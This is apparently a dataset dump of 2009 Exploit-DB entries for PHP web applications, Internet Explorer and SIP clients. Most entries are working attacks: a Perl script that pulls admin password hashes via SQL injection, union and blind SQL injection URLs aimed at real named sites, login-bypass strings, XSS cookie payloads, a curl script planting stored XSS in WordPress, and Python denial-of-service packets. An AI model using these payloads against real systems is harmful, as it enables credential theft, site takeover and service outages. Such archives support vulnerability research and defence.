QLWD/code_shield huggingface dataset:
标题: URA 3.0 - 'cat' SQL Injection EDB-ID: 9263 CVE: 2009-2895 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: ---------------------------------------------------
URA 3.0 (cat) remote SQL injection Vulnerability
---------------------------------------------------
 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

---------info Cms----------------
Name     : Ultimate Regnow Affiliate
Email    : support@phpsugar.com
Dowloand : http://www.phpsugar.com/ura_order.html
Web      : http://www.phpsugar.com
Price    : $27 USD
---------------------------------

vulnerable code in rss.php

........
7. $cat = $_GET['cat'];
8. 
9. if(empty($cat)) {
10 .$query = "SELECT ProductID, ProductName, VendorName, LongDesc FROM ura_items WHERE CategoryID != 0 AND CategoryID != 1 AND CategoryID != 2 ORDER BY Add_Date DESC LIMIT 10";
11. }
12. else { 
13. $query = "SELECT * FROM ura_items WHERE CategoryID = $cat ORDER BY Add_Date DESC limit $no";
14. }

.....
 
example of exploitation:
http://localhost/path/rss.php?cat=0[Sql-Code]

[Sql-Code]:
+union+select+1,concat(username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ura_settings/*

live Demo: 
http://www.phpsugar.com/ura_demo/rss.php?cat=0+union+select+1,concat(username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ura_settings/*

.....

#!/usr/bin/perl -w
########################################
#[+] Author : Chip D3 Bi0s
#[+] Contact: chipdebios[alt+64]gmail.com 
########################################
print "\t\t--------------------------------------------------\n\n";
print "\t\t|                  ---|Chip D3 Bi0s|---           |\n\n";
print "\t\t---------------------------------------------------\n\n";
print "\t\t|URA 3.0 (cat) remote SQL injection Vulnerability |  \n\n";
print "\t\t---------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nEnter url of vuln site [http://wwww.example.com/path]: ";
chomp(my $target=<STDIN>);
$column_name="concat(0x215F,username,char(58),pass,0x215F)";
$table_name="ura_settings";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/rss.php?cat=0+union+select+1,".$column_name.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from/**/".$table_name."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if($answer =~ /!_(.+?)!_/i)
{
     print "\n[+] Admin Hash : $1\n\n";
     print "> Exploit done! <\n\n";

}


else{print "\n> Exploit failed! <\n";
}

#+++++++++++++++++++++++++++++++++
#[!] Produced in South America
#---------------------------------

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9263
标题: garagesalesjunkie - SQL Injection / Cross-Site Scripting EDB-ID: 9262 CVE: 2009-2778 2009-2777 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] GarageSales Script Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ GarageSales Script ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.garagesalesjunkie.com/  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $40.00 USD ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]===

[Â»] http://www.site.com/patch/view.php?key=[SQL]

[Â»]http://www.garagesalesjunkie.com/tryit/visitor/view.php?key=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== 
 
[Â»] http://www.site.com/patch/view.php?key=[BLIND]

[Â»] http://www.garagesalesjunkie.com/tryit/visitor/view.php?key=1 and     11=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/view.php?key=[XSS]

[Â»] http://www.garagesalesjunkie.com/tryit/visitor/view.php?key="><script>alert(document.cookie);</script>.

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9262
标题: Joomla! Component Almond Classifieds com_aclassf 7.5 - Multiple Vulnerabilities EDB-ID: 9258 CVE: 2009-3155 2009-3154 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Joomla Component v.7.5 (com_aclassf) Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ Joomla Almond Classifieds v.7.5 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.almondsoft.com  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $195 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== 
 
[Â»] http://www.site.com/patch/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=[BLIND]

[Â»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438   and 1=1 <= TRUE
[Â»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438   and 1=2 <= FALSE

[Â»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => TRUE
[Â»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/components/com_aclassf/gmap.php?addr=[XSS]

[Â»] http://www.almondsoft.com/j/components/com_aclassf/gmap.php?addr="><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-27] URL: https://www.exploit-db.com/exploits/9258
标题: PHP Live! 3.2.2 - 'questid' SQL Injection (2) EDB-ID: 9254 CVE: 2008-0821 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-24 漏洞利用脚本: Original author: Found by Xar of h4ck-y0u, Greets to Don & ViSiOn
Modified version: skys
Contact: skysbsb[at]gmail.com


[!]Info[!]

PHP Live! (Â© OSI Codes Inc.) enables live help and live customer support
communication directly from your website. With PHP Live!, you can
provide one-on-one chat assistance in real-time, answer visitor
questions and add that extra human touch to your website.

[!]SQL Injection[!]
The original code was a little mistake, the right code:

Code:
Set the proper l(login) var in the parameter request.
In this example, l=admin

http://www.site.com/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_asp%20limit%200,1

In the Answer field, you will see the login:password for the
http://www.site.com/path-to-phplive/setup/login.php

or, if you want to mess only just with the operators,

http://www.site.com/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_admin%20limit%200,1

# milw0rm.com [2009-07-24] URL: https://www.exploit-db.com/exploits/9254
标题: Microsoft Internet Explorer 7/8 - findText Unicode Parsing Crash EDB-ID: 9253 CVE: 2009-2655 类型: DOS 平台: WINDOWS 发布日期: 2009-07-24 漏洞利用脚本: <meta http-equiv="Context-Type" content="text/html; charset=US-ASCII">
<!--
Contact:h0n9t3n@gmail.com,AmesianX@gmail.com
Title: MS Internet Explorer findText Unicode Parsing error
Vulnerability (mshtml.dll) 
Bug discovered: Hong10 
PoC code: AmesianX & Hong10 
Critical: low 
Impact: MS Internet Explorer 7/8 Crash 
Where: From remote 
Tested Operating System: Windows XP SP3 FULL PATCHED (Korean Language) 

Solution: I don't know.. 

Description: 
 The following bug was tested on the latest version of Internet 
Explorer 7/8. 

by research team NSHC
--> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>IE findText crash</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>
<input type="button" value="exploit" onclick="do_crash();">
Hit the button after ie7/8 crash..
<script>
function do_crash()
{
var o1=document.createElement("input");
o1.type="text";  //or password
o1.id="powerhacker";
o1.value="AAAA";
document.body.appendChild(o1);
var r= o1.createTextRange();
r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1);
//maybe string length allocated stack but over length allocated heap memory
//r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1,131072);
//this code is no crash becase 3 parameter 
}
</script>
</body></html>
<html><body></body></html>

# milw0rm.com [2009-07-24] URL: https://www.exploit-db.com/exploits/9253
标题: WordPress Core 2.8.1 - 'url' Cross-Site Scripting EDB-ID: 9250 CVE: 2009-2851 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-24 漏洞利用脚本: #!/bin/bash

echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
 echo "$0 <url> [postID]"
 echo "f.e. $0 www.worstpress.eu"
 exit
fi

if [ "X$POSTID" = "X" ]; then
 POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24] URL: https://www.exploit-db.com/exploits/9250
标题: XOOPS Celepar Module Qas - 'codigo' SQL Injection EDB-ID: 9249 CVE: 2009-4714 2009-4713 2009-4698 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-24 漏洞利用脚本: **********************************************************************************************************
Xoops Celepar Module Qas
Donwload of Xoops Celepar : http://www.xoops.pr.gov.br/uploads/core/xoopscelepar.tar.gz
Author: s4r4d0
mail:s4r4d0@yahoo.com
**********************************************************************************************************
A Sql Injection has been found on modules Quas of Xoops Celepar in file Aviso.php .
Source code:
    }
    $codigo = $_POST['codigo'];
} else
    $codigo = $_GET['codigo'];
***********************************************************************************************************
Target: site.com.br/modules/qas/aviso.php?codigo=
Sql Code :-1+UNION+SELECT+1,2,columnname,4,5,6,7,8+from+tablename
Demo: http://www.dce.uem.br/modules/qas/aviso.php?codigo=-1+UNION+SELECT+1,2,3,4,5,6,7,8--
***********************************************************************************************************
[ Fatal Error Group Br ]
[Greetz: to Elemento_pcx - m4v3rick - w4nt3d - DD3str0yer  - M0nt3r - Vympel]
[From Brazil]
************************************************************************************************************

# milw0rm.com [2009-07-24] URL: https://www.exploit-db.com/exploits/9249
标题: SaphpLesson 4.0 - Authentication Bypass EDB-ID: 9248 CVE: 2009-2883 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-24 漏洞利用脚本: ---------------------------------SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability---------------------------------------
                       #                                                                            
   #    ####     #    ###      ##   ###  ####  ####  ###   #####   ####  ####   ###     #    ### ####  ######
   ##    #  #    ##    # #    # #  #  #   # #   #  #  #    #  #   #    #  # #  #  #     ##    #   # # #  #  #
   # #   #  #    # #   # #    # #  #      #     #  #   #   #  #  #        #    #        # #   #   #      #   
  #  #   ###    #  #   ###   #  #   ##    ###   ###    #  #   #  #        ###   ##      #  #  #   ###    #   
  ####   #  #   ####   #  # ######    #   #     #  #    # #   #  #        #       #     #   # #   #      #   
 #   #   #   # #   #   #  #     # #   #   #     #   #   ##    #   #    #  #   #   #     #    ##   #      #   
##    #####   ##    ######     ### ###   ####  ###   #   #   ###   ####  ####  ###   # ###    #  ####   ###  


#----------------------------------------------------------------------------------------------------------------
Script : SaphpLesson
version : 4.0
Language: PHP
Site: http://www.saphplesson.org
Download: http://www.saphplesson.org/saphplesson.zip
Dork: intext:Powered by SaphpLesson 4.0
Found by: SwEET-DeViL

need magic_quotes_gpc = Off

#----------------------------------------------------------------------------------------------------------------

)=> admin/login.php
.................................................................................................................
if ($_SERVER["REQUEST_METHOD"]=="POST"){
          $username = CleanVar($_POST["cp_username"]); <======================================{
          $password = md5(CleanVar($_POST["cp_password"]));
          $IsLogin    = $db->get_var("select count(*) from modretor Where  ModName='".$username."' and ModPassword='".$password."'");

.................................................................................................................

function  of insecure !!

)-)=> includes/functions.php
---------------------------------------
.[106] function CleanVar($var)
.[107] {
.[108]     (get_magic_quotes_gpc() === 0) ? $var : addslashes($var);
.[109]
.[110]     return htmlspecialchars(trim($var));
.[111] }
---------------------------------------

#Exploit:

username : 'or 1=1/*
OR 
username : 'or 1=1 or '
OR 
username : admin ' or ' 1=1--
....

password: SwEET-DeViL

---------------------------------------


/-------------www.arab4services.net-----------------\
|+------------------------------------------------+ |
||          SwEET-DeViL & viP HaCkEr              | |
||            gamr-14(at)hotmail.com              | |
|+------------------------------------------------+ |
\---------------------------------------------------/

# milw0rm.com [2009-07-24] URL: https://www.exploit-db.com/exploits/9248
标题: Ekiga 2.0.5 - 'GetHostAddress' Remote Denial of Service EDB-ID: 9241 CVE: 2007-4897 类型: DOS 平台: WINDOWS 发布日期: 2009-07-24 漏洞利用脚本: #!/usr/bin/env python
#
# Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897)
#
# ekiga207_dos.py by Jose Miguel Esparza
# 2007-09-11 S21sec labs

import sys,socket

if len(sys.argv) != 3: 
 sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0\r\n"+\
     "Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
     "Contact:sip:pepe@172.91.1.133:5060\r\n"+\
     "Content-Length:417\r\n"+\
     "Content-Type:application/sdp\r\n"+\
     "CSeq:4321 INVITE\r\n"+\
     "From:sip:pepe@172.91.1.148:5060;tag=a48s\r\n"+\
     "Max-Forwards:70\r\n"+\
         "To:sip:paco@micasa.com\r\n"+\
         "Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"   

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

# milw0rm.com [2009-07-24] URL: https://www.exploit-db.com/exploits/9241
标题: Basilic 1.5.13 - 'index.php?idAuthor' SQL Injection EDB-ID: 9246 CVE: 2009-2881 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-24 漏洞利用脚本: ==================================================================================================


  [o] Basilic 1.5.13 SQL Injection Vulnerability

       Software : Basilic version 1.5.13
       Vendor   : http://artis.imag.fr/Software/Basilic/
       Download : http://artis.imag.fr/Software/Basilic/basilic-1.5.14.tar.gz
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


==================================================================================================


  [o] Vulnerable file


       index.php



  [o] Exploit

       http://localhost/[path]/index.php?idAuthor=[SQL]



  [o] Proof of concept

       http://secure.ntsg.umt.edu/publications/index.php?idAuthor=-31+union+select+1,version()--
       http://www.iarc.uaf.edu/publications/allpubs.php?idAuthor=-19+union+select+1,version()--



  [o] Dork

       "Powered by Basilic"


==================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


==================================================================================================

# milw0rm.com [2009-07-24] URL: https://www.exploit-db.com/exploits/9246
标题: OpenH323 Opal SIP Protocol - Remote Denial of Service EDB-ID: 9240 CVE: 2007-4924 类型: DOS 平台: WINDOWS 发布日期: 2009-07-24 漏洞利用脚本: #!/usr/bin/env python
#
# OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924)
#
# opal228_dos.py by Jose Miguel Esparza
# 2007-10-08 S21sec labs

import sys,socket

if len(sys.argv) != 3:
 sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE sip:paco@192.168.1.134 SIP/2.0\r\n"+\
     "Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
     "Contact:sip:pepe@192.168.1.133:5060\r\n"+\
     "Content-Length:-40999990\r\n"+\
     "Content-Type:application/sdp\r\n"+\
     "CSeq:4321 INVITE\r\n"+\
     "From:sip:pepe@192.168.1.133:5060;tag=a48s\r\n"+\
     "Max-Forwards:70\r\n"+\
        "To:sip:paco@micasa.com\r\n"+\
        "Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\r\n\r\n"   

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

# milw0rm.com [2009-07-24] URL: https://www.exploit-db.com/exploits/9240
标题: Groone's GLink ORGanizer 2.1 - 'cat' Blind SQL Injection EDB-ID: 9236 CVE: 2009-0299 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-23 漏洞利用脚本: _00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] GLinks v2.1 (cat) Remote Blind SQL Injection Vulnerability
# [+] Software : President Bios
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
# [+] Special Thanks : Moudi Aka SixSo  brozazaaaaaaaaa
# [+] Dowload : http://www.groonesworld.com/programs/glinks/glinks.zip
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerability
#
# [+] Blind SQL
#
#  - http://www.site.com/index.php?cat=[nr] and 1=1 <= true
#  - http://www.site.com/index.php?cat=[nr] and 1=2 <= False
#
#  - http://www.site.com/index.php?cat=[nr] and substring(@@version,1,1)=4 <= false
#  - http://www.site.com/index.php?cat=[nr] and substring(@@version,1,1)=5 <= true
#
#   [+] Demo
#
#    - http://www.groonesworld.com/demos/glinks/index.php?cat=82%20and%20substring(@@version,1,1)=5 <= True
#    - http://www.groonesworld.com/demos/glinks/index.php?cat=82%20and%20substring(@@version,1,1)=4 <= False
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-07-23] URL: https://www.exploit-db.com/exploits/9236